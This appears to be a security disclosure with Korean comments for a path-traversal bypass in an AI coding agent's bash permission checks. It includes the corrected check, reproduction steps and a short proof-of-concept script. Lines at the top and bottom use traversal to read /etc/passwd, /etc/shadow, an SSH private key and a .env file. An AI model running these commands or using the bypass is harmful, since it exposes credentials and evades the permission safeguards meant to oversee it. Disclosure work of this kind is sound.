cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // deny 또는 ask에 대해서만 조기 반환 — allow 시 경로 검사를 건너뛰지 않음
    return sandboxResult;
  }

  // allow인 경우 아래의 checkPathConstraints로 진행
}

// 경로 탐색 검사는 항상 실행되어야 함
return checkPathConstraints(input, appState.toolPermissionContext);

git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// 샌드박스 조건 설정
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// 경로 탐색이 포함된 페이로드
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Result:', result.behavior);
// 예상:  "deny"   — 경로 탐색이 차단되어야 함
// 실제:  "allow"  ← 취약점 확인됨

npx ts-node poc.ts

Result: allow

// 약 1644행 부근
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints was called'); // 이 로그는 절대 출력되지 않음
  // ...
}

cat ../../../../../etc/passwd